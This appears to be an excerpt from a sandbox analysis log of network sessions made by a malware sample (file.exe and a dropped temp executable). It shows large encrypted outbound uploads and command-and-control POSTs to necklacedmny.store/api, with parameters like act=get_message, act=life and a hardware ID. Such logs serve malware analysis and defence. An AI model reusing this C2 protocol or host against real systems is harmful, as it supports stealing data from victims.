2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 2a 85 f2 c6 9d 8f e5 0b 28 14 43 6e e0 c1 9d 8f 85 27 58 d6 e6 89 5a 6f 55 7c 2d 56 ef 5d dd fe a3 83 2e d0 0a 62 0b 29 27 25 f6 b7 2d 47 8f 3e f7 67 dd be b3 fd 66 21 05 f6 97 63 de 58 68 8b c7 bd f4 e2 1f 25 e0 cf 6a 9b c5 8c 35 bf 02 a4 56 fe 55 d2 cc 3a 0f d3 ec fb 72 d6 8c 91 1d ee f7 a5 b2 1f 73 6f d5 21 ef 2b 47 6d 1d c2 83 e6 2c 8d 33 6c e8 68 d5 a7 bc 6b d4 ab ec 74 0f 68 25 d8 0b ff 2a 1f 31 67 1a 3e d3 8c d2 94 d7 5b af 0e 04 b9 78 fa b3 f8 5a f9 50 cc a1 4f 14 d1 28 d2 5c 14 45 6e e0 5a ba 72 a9 da 9b d4 b2 8e 96 d9 42 54 17 1a 53 04 ac 7a c2 0a 9e 74 82 93 a0 c1 55 25 35 38 70 2f c3 da cb 25 f3 93 2f 34 61 e8 82 11 35 3e c6 d6 af 1c a5 3f 57 84 32 a4 12 56 25 17 7f 26 e5 ea 2e 9b 00 d5 33 4b 19 80 c4 e4 ff 1d d0 ae 66 ee 42 ce 2d 1e 9a f5 fe Data Ascii: (Cn'XZoU\|-V].b)'%-G>gf!cXh%j5VU:rso!+Gm,3lhkth%1g>[xZPO(\EnZrBTSztU%58p/%/4a5>?W2V%&.3KfB-
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 72 7a d6 5d 47 90 b0 19 cd 25 88 ea 16 9a 8b 14 42 c0 0a 9c ff d1 e0 ce 9a e2 0f 19 bb b2 43 3b ec b6 cb 29 5d d9 22 a6 81 1b 73 0f f8 a5 f5 c4 98 5f d2 d8 db 1d b4 91 76 0a c5 7e 0d e3 c4 56 78 47 d9 6c cb 61 fd ca be 66 b6 e2 6b 0a e7 bf ff f2 49 46 03 41 29 5e 50 f1 64 67 2d 2d 7e 71 19 5a 15 03 a5 de 0d 09 94 31 56 60 f6 d2 bb 11 a0 88 bf 1d fc 89 07 68 4b 99 d7 e9 fd 3d 3d df 55 8c a4 aa 74 29 32 66 79 b7 9e 90 a8 2a 9d b6 05 5a b7 87 3f 8e c4 a8 25 92 d4 3c 85 4a 75 91 02 c2 f7 d5 b4 0a 02 66 1f 5d 7a d0 3c e3 77 28 4b 8e e3 ad af 3c ea 66 50 8b cd 50 6a 4b 93 52 d2 e0 1d 96 95 73 0f c7 7c af e1 3e d6 38 ff e3 73 fb 70 ca 32 50 cb df f3 fa b4 86 14 d8 c0 2d 35 82 02 0d d0 cb c3 78 11 07 0a 4e f2 78 18 42 e4 4a 9e 02 53 d0 2b cb 70 41 c2 20 48 78 02 Data Ascii: rz]G%BC;)]"s_v~VxGlafkIFA)^Pdg--~qZ1V`hK==Ut)2fy*Z?%<Juf]z<w(K<fPPjKRs\|>8sp2P-5xNxBJS+pA Hx
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 54 c4 39 3b 58 07 70 0a 19 34 9c 99 56 9b dd 87 e2 25 ec 5f 52 7d ff 0f 4a ac bd 03 12 bb 56 27 01 9d 68 c8 a7 98 de 92 26 2e 5c 33 27 ff 60 e9 2a c5 35 bc 3d 94 f8 a3 61 c1 fb 5a d4 88 70 7c 59 bc 06 0b 67 21 6a 1b f2 85 f3 d4 52 64 9d 87 02 e7 af c0 3e ca d4 2f 08 c4 15 72 f3 2a 4d 48 28 39 1b 10 d2 dd d7 a8 96 59 0a 05 a5 50 93 d3 e7 65 ad 99 45 13 57 54 29 48 d4 60 9f f7 02 7f 10 c5 57 f5 92 f3 0c 78 d6 ac 67 32 7e 8a 53 ae 6c 65 e4 51 27 6d a9 bb 8d 51 d6 10 d9 5a f1 55 ad 07 7d 34 a5 27 82 e2 c1 8e 2c 91 63 9d a2 65 6b 40 01 71 93 0e d1 2a 86 08 13 1f f4 41 70 71 7f 7a c5 ce fb ff 12 60 fc 39 07 aa de 77 a1 d7 ab 09 91 44 1c 63 ab 0a 41 4a fd 7b d4 56 db 34 e9 65 e9 ce cf 03 39 53 38 ba 12 b8 08 3b 0f c1 8e 09 e0 a8 6e 4b 02 b5 ed 04 25 20 af d0 d1 Data Ascii: T9;Xp4V%_R}JV'h&.\3'`5=aZp\|Yg!jRd>/rMH(9YPeEWT)H`Wxg2~SleQ'mQZU}4',cek@q*Apqz`9wDcAJ{V4e9S8;nK%
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 75 6d 63 9a 70 9f b4 6d 58 2e ea f0 f3 19 0c 21 12 8f 02 f9 e4 94 b7 83 2a 62 e5 bb dc 5d d8 1e 0f 76 ac 38 10 b0 df 44 f3 37 da f9 9e 20 95 32 f4 d1 2b 20 95 91 dc ce 6f 05 7b 7f 35 4b e2 1a 63 2a 52 e7 87 5a 48 81 d8 3d 92 47 b6 53 7a 1c cb f9 99 b6 e0 06 01 36 53 ee 95 8d 4c 5b f1 d8 75 97 53 bf 1c ef 15 9e 3a 8d fc cb 19 94 66 7f 7c 2e d2 02 43 8a 63 c8 e3 46 f3 f6 bd 11 82 40 81 fd e1 a9 8f 83 12 3c 89 d8 22 7d 60 d1 ef 0b f4 f9 05 85 4c 8e 32 b1 ba a9 66 c4 e1 33 05 59 42 e1 db 78 0a 4e d7 1d 1d 5e be 4d fa 9c 71 71 3d d9 b4 cd 1b 3d 76 1e 1f b0 a9 2b a4 9c 93 5d 0e 4e 7f ac cb d7 71 bb 89 f2 ef 9a f5 76 09 7d 33 62 ef bd 76 69 57 f1 dc 31 72 fe 6f b5 b0 c1 ff bf bb 6e f2 00 d1 e5 94 28 fb dd f3 22 fe d7 28 88 8c 8e fc ed 45 03 c4 c9 5f d3 e6 19 80 Data Ascii: umcpmX.!b]v8D7 2+ o{5KcRZH=GSz6SL[uS:f\|.CcF@<"}`L2f3YBxN^Mqq==v+]Nqv}3bviW1ron("(E_
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 3b 44 91 1a d2 7d 38 61 4b 2c 14 6d 49 e5 2a 6d fd 21 77 f5 7a 83 ed 80 90 c4 10 ed c3 d3 be 9d 89 f2 d7 bc b8 8d 61 a5 6a b7 0f 98 88 f0 8d 8a 4e aa 52 04 9d 7d 56 73 13 fb 09 7f f0 9b b5 db 17 e3 b8 5a f6 71 b5 7d 5c 33 b9 93 3c f7 0f ef f4 ce fc 10 04 41 49 08 ba c3 cb 88 2f e6 8d b9 33 c6 6f 08 c5 cf b7 ae ba d4 5c 7a 3a cc f8 87 ef 94 0f 93 2b b5 90 93 02 a0 d4 9f af a7 48 5f 2c 6a 3c 69 76 a2 5b c7 10 2b 42 c8 1f 9b a9 3b 31 97 ae 81 20 10 f3 61 04 2f fc 0e 38 8c 0b 08 c4 67 5f 5a 39 e9 9d 25 1b 7f e2 ab 58 09 b9 58 05 ec 7e a9 c9 23 60 b7 80 18 61 dc 55 be 75 48 8a c8 46 83 e3 e5 71 58 54 7c f2 0a 65 41 58 fc 26 28 df a6 fc f6 94 14 c0 ae 3a 09 eb 71 e6 b4 98 cc 9a b7 9f e4 c6 e1 c0 dd 7f 08 d5 1a ed c2 04 fb bd 23 9f 31 51 e5 f1 6d ac f4 bb 8c 44 Data Ascii: ;D}8aK,mI*m!wzajNR}VsZq}\3<AI/3o\z:+H_,j<iv[+B;1 a/8g_Z9%XX~#`aUuHFqXT\|eAX&(:q#1QmD
2024-10-30 03:34:27 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e1k52gk1064lkn1qggthv5ijfk; expires=Sat, 22 Feb 2025 21:21:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w2%2BPjxknsIcLSeNjxzZz%2FQtfKxglxS4n0zufjFOu%2Bj8By7jE1qtkSOwXG6wi%2BbAPj6OvgE4rrk%2BRiBlZdyLWr8RQdfRM6uQ6w9fCZ862BLN9Vq%2FLCJ15gnzGs7KOlHruCXstkRo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8597dda7b2e2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1373&sent=224&recv=617&lost=0&retrans=0&sent_bytes=2845&recv_bytes=571134&delivery_rate=2067094&cwnd=234&unsent_bytes=0&cid=b86f066ea4629dfa&ts=1739&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49775	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 03:34:28 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=9A1027BD0E6E66CB339406CA659DCE85
2024-10-30 03:34:28 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n10oe2b0qkuv4e73at5rif1d7c; expires=Sat, 22 Feb 2025 21:21:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=405I1f%2BAOwRvJYuZXSsY8RgWhkqonta31qR8o7kyjw26niU62ukcx5LPn2MwwMxxVoIX3ArUak05givXKOTELBb80u0yGUhuAav7gF6AGbVLLgROoouZNDjlzPKjNAVn2ha8XzY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8598cac846b89-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2500863&cwnd=251&unsent_bytes=0&cid=f21bf1f0bb79bfc1&ts=476&x=0"
2024-10-30 03:34:28 UTC	214	IN	Data Raw: 64 30 0d 0a 33 48 33 45 51 62 58 44 43 35 65 79 74 65 62 70 4e 73 51 69 38 36 46 42 70 50 2b 32 38 4d 49 6e 38 36 30 2f 2b 33 7a 6f 6e 52 6d 48 42 75 59 30 6c 2f 6b 70 2f 38 62 42 6c 74 4e 71 36 33 37 63 6b 48 6d 52 30 59 54 42 39 77 6e 43 6e 41 7a 56 54 64 37 42 4e 72 4d 62 6f 68 32 61 70 32 37 78 6e 4e 43 65 6a 42 54 6f 41 4a 58 56 59 35 37 50 6d 74 4b 6e 42 63 6d 64 51 74 63 48 79 75 67 37 35 6c 2b 73 4e 63 47 7a 4d 63 75 64 36 63 6e 59 44 76 45 4d 77 5a 42 30 69 73 36 48 77 2b 77 57 78 66 45 51 6c 68 57 47 2b 45 58 7a 44 36 55 76 30 61 78 6d 75 64 66 4e 67 38 73 61 35 6b 53 48 67 33 75 55 30 35 53 56 34 42 33 44 30 47 49 3d 0d 0a Data Ascii: d03H3EQbXDC5eytebpNsQi86FBpP+28MIn860/+3zonRmHBuY0l/kp/8bBltNq637ckHmR0YTB9wnCnAzVTd7BNrMboh2ap27xnNCejBToAJXVY57PmtKnBcmdQtcHyug75l+sNcGzMcud6cnYDvEMwZB0is6Hw+wWxfEQlhWG+EXzD6Uv0axmudfNg8sa5kSHg3uU05SV4B3D0GI=
2024-10-30 03:34:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49984	188.114.97.3	443	3312	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 03:35:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 03:35:30 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v3sj8qefvdk9olm763390hkek2; expires=Sat, 22 Feb 2025 21:22:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1532xEj0jZocRKbD7JN8z%2F7pX8jWSHjwCRvkfoG8WYYClwIr%2FhvP6LwwzZofrlutS9OxKpnS6VHI1dICzpt%2Fd%2FZGiwgiZYrUVulNixw%2FEKyeWmQi1hiP%2FAY48ny4cZOiCUrIeBQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b0dcff145e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=957&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2970256&cwnd=251&unsent_bytes=0&cid=3bd740ead4933696&ts=987&x=0"
2024-10-30 03:35:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 03:35:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49987	188.114.97.3	443	3312	C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:35:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 03:35:31 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 03:35:31 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=214ckjm3ckd9oli9c93k3lgssq; expires=Sat, 22 Feb 2025 21:22:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4cweRNHLlmuyI9HGD%2BAZIU%2Bq%2FoES0SV5obqdjTFkL58tmQAFvmVNRLYiqoiRdM9EH9MfhocEDgO71beKDphSEHR6tu3EEjGBmtM1syMQfV8s%2BAmuP%2FycuA3xMYEY9uUWeG9Btho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85b15dcfb3ab9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1197&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2285714&cwnd=251&unsent_bytes=0&cid=d82c7e8b25b29401&ts=483&x=0"
2024-10-30 03:35:31 UTC	352	IN	Data Raw: 31 64 38 39 0d 0a 62 79 57 36 4c 4b 61 63 41 78 47 4c 68 2b 4b 31 76 74 67 6b 35 47 36 76 68 69 38 62 50 37 62 30 70 2f 4c 6e 32 51 6d 39 6d 67 49 55 42 38 77 4f 6e 4b 67 76 4d 2f 6a 69 77 49 2f 4b 71 6c 47 42 51 6f 33 6e 53 7a 6b 46 30 4a 58 4c 67 59 4c 31 4b 38 76 33 49 46 56 44 32 30 44 56 2b 53 38 7a 37 76 2f 41 6a 2b 57 6a 42 6f 45 41 6a 62 77 4e 66 6c 58 55 6c 63 75 51 68 72 4a 6d 7a 66 5a 68 42 30 6e 64 52 4d 50 2f 5a 33 44 6e 36 6f 66 51 32 37 6c 4f 69 67 66 43 37 6b 49 35 45 35 53 52 33 64 44 64 2b 30 54 59 37 6d 4d 69 52 4d 6c 48 68 4f 45 76 61 71 6e 69 6a 4a 65 45 2b 6b 57 42 44 4d 50 67 53 33 42 58 33 70 7a 44 6b 59 4f 7a 65 64 54 38 61 67 64 48 33 6b 58 4a 39 6e 4e 39 37 65 32 4d 31 74 47 35 42 73 68 4d 79 76 77 4e 49 52 32 48 70 4d 61 42 6c Data Ascii: 1d89byW6LKacAxGLh+K1vtgk5G6vhi8bP7b0p/Ln2Qm9mgIUB8wOnKgvM/jiwI/KqlGBQo3nSzkF0JXLgYL1K8v3IFVD20DV+S8z7v/Aj+WjBoEAjbwNflXUlcuQhrJmzfZhB0ndRMP/Z3Dn6ofQ27lOigfC7kI5E5SR3dDd+0TY7mMiRMlHhOEvaqnijJeE+kWBDMPgS3BX3pzDkYOzedT8agdH3kXJ9nN97e2M1tG5BshMyvwNIR2HpMaBl
2024-10-30 03:35:31 UTC	1369	IN	Data Raw: 44 46 38 32 46 68 34 65 36 4c 30 73 36 78 54 34 73 42 7a 65 6c 48 64 6c 37 55 6b 63 2b 61 69 72 46 76 30 76 56 6d 44 55 65 59 41 49 54 35 65 54 4f 78 70 61 50 53 7a 4c 31 4b 6b 45 37 33 70 46 49 33 52 4a 53 52 79 64 44 64 2b 32 50 61 2b 32 4d 47 53 4e 74 47 7a 2b 78 68 59 65 2f 6f 68 63 58 61 76 30 69 4d 44 39 2f 75 51 33 39 65 33 5a 33 4d 6c 59 4b 2f 4b 35 47 34 5a 78 55 48 67 41 37 6c 38 32 70 2f 34 2f 4b 41 6c 38 50 30 58 38 59 4c 77 61 51 56 4f 56 6e 56 6b 73 53 55 69 37 56 76 30 2f 35 75 41 45 6a 65 52 4d 54 35 61 33 76 68 35 49 33 63 30 37 70 44 69 77 6a 4c 36 45 78 38 48 5a 72 57 77 6f 6a 46 34 79 76 78 2f 32 4d 66 42 65 31 4e 79 76 42 6d 5a 61 6e 36 7a 73 36 63 76 55 72 47 56 49 33 71 53 48 5a 50 31 59 54 41 6e 70 65 33 62 74 6e 31 59 77 4e 48 33 Data Ascii: DF82Fh4e6L0s6xT4sBzelHdl7Ukc+airFv0vVmDUeYAIT5eTOxpaPSzL1KkE73pFI3RJSRydDd+2Pa+2MGSNtGz+xhYe/ohcXav0iMD9/uQ39e3Z3MlYK/K5G4ZxUHgA7l82p/4/KAl8P0X8YLwaQVOVnVksSUi7Vv0/5uAEjeRMT5a3vh5I3c07pDiwjL6Ex8HZrWwojF4yvx/2MfBe1NyvBmZan6zs6cvUrGVI3qSHZP1YTAnpe3btn1YwNH3
2024-10-30 03:35:31 UTC	1369	IN	Data Raw: 6d 5a 61 6e 36 7a 73 36 63 76 55 72 47 56 49 33 6f 52 48 6c 57 33 70 4c 46 6c 34 69 2b 61 4e 6a 37 62 51 70 4e 31 6b 6e 41 38 6d 68 2b 37 2b 57 48 30 39 6d 6f 51 34 38 41 77 61 51 44 4f 56 72 4d 31 70 33 51 71 72 78 39 33 4e 64 6a 48 45 36 59 55 59 72 6e 49 58 54 6c 70 64 69 58 32 37 39 4f 6a 51 72 46 35 46 39 38 55 39 2b 58 7a 35 61 45 74 6d 66 5a 2b 47 45 4e 51 64 52 4f 77 2f 6c 7a 59 65 7a 6a 6b 74 32 63 39 41 61 42 46 49 32 38 44 55 39 4e 77 34 66 54 30 72 43 34 5a 64 48 2f 64 6b 31 59 6c 6c 65 45 2b 57 30 7a 73 61 57 4c 31 39 43 39 54 6f 41 49 78 65 74 43 63 45 2f 56 6d 73 75 43 67 72 74 69 30 66 64 73 42 45 72 66 51 38 2f 30 62 48 66 75 35 4d 43 5a 6e 4c 31 65 78 6c 53 4e 30 6c 31 30 55 66 71 64 79 5a 6e 46 70 43 58 47 75 47 63 42 42 34 41 4f 77 50 Data Ascii: mZan6zs6cvUrGVI3oRHlW3pLFl4i+aNj7bQpN1knA8mh+7+WH09moQ48AwaQDOVrM1p3Qqrx93NdjHE6YUYrnIXTlpdiX279OjQrF5F98U9+Xz5aEtmfZ+GENQdROw/lzYezjkt2c9AaBFI28DU9Nw4fT0rC4ZdH/dk1YlleE+W0zsaWL19C9ToAIxetCcE/VmsuCgrti0fdsBErfQ8/0bHfu5MCZnL1exlSN0l10UfqdyZnFpCXGuGcBB4AOwP
2024-10-30 03:35:31 UTC	1369	IN	Data Raw: 34 59 58 53 32 4c 31 43 67 41 4f 4e 71 67 31 2b 52 5a 54 4f 68 62 2b 69 6a 69 6e 2b 77 69 41 53 43 63 45 4f 77 2f 49 68 4b 36 6e 70 67 39 76 55 74 55 43 50 41 4d 66 74 52 6e 56 57 30 4a 72 4d 6c 59 4f 36 62 74 72 35 5a 41 46 4e 33 6b 33 48 38 57 35 38 34 61 58 4f 6c 39 75 69 42 74 35 4d 36 50 4e 47 64 31 75 55 69 59 75 4a 78 62 78 6e 6e 36 41 67 41 55 37 65 53 4d 48 79 59 48 58 68 34 49 6a 54 33 62 78 41 68 51 50 4a 34 55 78 32 57 64 69 59 7a 35 47 45 74 32 44 51 38 32 56 4e 43 5a 68 4a 33 4c 34 35 4d 39 6a 6d 6c 73 44 4d 74 67 61 5a 51 74 53 6b 53 6e 55 64 6a 4e 62 45 67 6f 2b 78 5a 64 72 33 5a 51 35 49 33 30 50 43 38 6d 74 36 34 65 4f 50 33 73 36 35 53 6f 67 4c 77 2b 68 44 64 46 66 58 6d 34 58 65 78 62 78 7a 6e 36 41 67 49 55 44 56 59 4d 2f 79 5a 6a 50 Data Ascii: 4YXS2L1CgAONqg1+RZTOhb+ijin+wiASCcEOw/IhK6npg9vUtUCPAMftRnVW0JrMlYO6btr5ZAFN3k3H8W584aXOl9uiBt5M6PNGd1uUiYuJxbxnn6AgAU7eSMHyYHXh4IjT3bxAhQPJ4Ux2WdiYz5GEt2DQ82VNCZhJ3L45M9jmlsDMtgaZQtSkSnUdjNbEgo+xZdr3ZQ5I30PC8mt64eOP3s65SogLw+hDdFfXm4Xexbxzn6AgIUDVYM/yZjP
2024-10-30 03:35:31 UTC	1369	IN	Data Raw: 35 4c 36 51 5a 35 4d 6c 61 52 37 66 6b 33 45 6c 59 65 68 6b 37 68 39 31 50 56 73 54 56 69 57 56 34 54 35 62 54 4f 78 70 59 62 59 31 62 6c 4a 68 77 58 42 36 55 68 77 57 4e 57 51 77 5a 71 50 75 32 33 5a 2b 57 55 48 52 4e 6c 45 7a 66 6c 70 64 4f 72 33 77 4a 6d 63 76 56 37 47 56 49 33 4e 53 6d 74 54 78 4e 62 61 33 70 7a 37 62 4e 4f 34 4f 45 31 44 30 6b 48 41 2b 57 31 31 37 4f 4f 4e 31 74 4f 37 52 6f 6b 49 78 75 31 4c 65 46 44 52 6d 38 47 43 6a 37 42 6b 30 2f 46 73 41 41 65 57 44 73 50 6d 49 53 75 70 31 49 33 5a 30 72 31 51 78 68 4f 44 2f 51 31 2b 55 5a 54 4f 68 5a 47 4a 74 47 6a 51 2b 32 4d 4d 54 63 70 63 79 50 64 70 64 75 58 75 6a 74 48 4f 76 45 6d 50 44 38 37 74 53 6e 46 52 33 70 58 43 30 4d 76 37 62 4d 65 34 4f 45 31 6b 7a 31 37 4a 76 6e 34 39 38 4b 57 48 Data Ascii: 5L6QZ5MlaR7fk3ElYehk7h91PVsTViWV4T5bTOxpYbY1blJhwXB6UhwWNWQwZqPu23Z+WUHRNlEzflpdOr3wJmcvV7GVI3NSmtTxNba3pz7bNO4OE1D0kHA+W117OON1tO7RokIxu1LeFDRm8GCj7Bk0/FsAAeWDsPmISup1I3Z0r1QxhOD/Q1+UZTOhZGJtGjQ+2MMTcpcyPdpduXujtHOvEmPD87tSnFR3pXC0Mv7bMe4OE1kz17Jvn498KWH
2024-10-30 03:35:31 UTC	1369	IN	Data Raw: 43 49 48 73 6a 69 51 6e 5a 55 33 5a 4c 4e 6b 34 57 2f 62 39 6a 39 59 77 46 4d 33 30 33 4c 2b 6d 68 39 34 4f 72 41 6d 5a 79 39 58 73 5a 55 6a 63 56 57 65 6c 48 5a 31 74 72 65 6e 50 74 73 30 37 67 34 54 55 76 57 53 38 54 30 5a 33 66 73 34 34 72 53 33 4c 46 46 69 51 6a 4c 34 45 4a 35 56 74 32 58 77 35 57 50 73 47 33 53 2b 32 59 4c 42 35 59 4f 77 2b 59 68 4b 36 6e 46 6d 39 72 51 76 51 61 5a 51 74 53 6b 53 6e 55 64 6a 4e 62 4f 6e 49 47 38 61 39 4c 37 61 41 68 44 30 6b 76 45 39 6e 4e 37 36 65 4b 53 78 64 79 7a 51 34 6f 50 7a 65 42 4c 63 46 76 58 6b 6f 58 65 78 62 78 7a 6e 36 41 67 49 45 76 66 5a 38 50 6c 49 57 79 6e 2f 4d 44 51 30 50 6f 65 78 67 33 47 37 6b 4a 30 58 74 4b 56 7a 70 57 50 75 6d 7a 58 39 58 49 4f 53 4e 64 4b 78 50 46 6e 64 65 6a 71 68 74 44 56 75 Data Ascii: CIHsjiQnZU3ZLNk4W/b9j9YwFM303L+mh94OrAmZy9XsZUjcVWelHZ1trenPts07g4TUvWS8T0Z3fs44rS3LFFiQjL4EJ5Vt2Xw5WPsG3S+2YLB5YOw+YhK6nFm9rQvQaZQtSkSnUdjNbOnIG8a9L7aAhD0kvE9nN76eKSxdyzQ4oPzeBLcFvXkoXexbxzn6AgIEvfZ8PlIWyn/MDQ0Poexg3G7kJ0XtKVzpWPumzX9XIOSNdKxPFndejqhtDVu
2024-10-30 03:35:31 UTC	372	IN	Data Raw: 4b 32 6e 4e 65 53 39 36 52 31 5a 65 53 74 43 75 52 75 47 39 4e 48 2b 45 4f 7a 66 6c 36 59 76 2f 6f 6b 4e 43 63 68 51 6a 47 46 49 32 38 44 55 78 65 32 70 6a 43 68 70 54 32 54 4d 6e 79 5a 78 31 41 7a 30 47 45 73 43 46 31 71 62 33 54 6d 5a 79 2b 56 38 5a 55 6e 62 59 57 4c 41 36 44 78 70 65 50 79 36 49 72 79 62 67 34 58 77 6d 59 58 49 53 6d 49 54 54 71 39 35 4c 52 33 36 78 46 77 54 4c 7a 77 31 64 30 57 38 4f 48 2b 36 36 43 6f 57 62 5a 37 33 46 42 55 74 74 41 79 76 6c 33 4d 36 65 6c 6a 35 65 45 67 77 62 4f 54 50 4b 71 44 57 45 64 6a 4e 62 77 6b 34 75 31 62 4d 6e 70 4c 53 70 64 31 55 6a 54 37 79 45 39 71 65 50 41 6a 34 7a 30 42 6f 49 64 6a 62 77 64 4b 77 61 42 78 5a 4c 41 31 36 51 6c 78 72 68 32 54 52 2b 4b 41 49 54 73 49 53 75 70 6f 6f 50 46 7a 72 78 46 6b 41 Data Ascii: K2nNeS96R1ZeStCuRuG9NH+EOzfl6Yv/okNCchQjGFI28DUxe2pjChpT2TMnyZx1Az0GEsCF1qb3TmZy+V8ZUnbYWLA6DxpePy6Irybg4XwmYXISmITTq95LR36xFwTLzw1d0W8OH+66CoWbZ73FBUttAyvl3M6elj5eEgwbOTPKqDWEdjNbwk4u1bMnpLSpd1UjT7yE9qePAj4z0BoIdjbwdKwaBxZLA16Qlxrh2TR+KAITsISupooPFzrxFkA
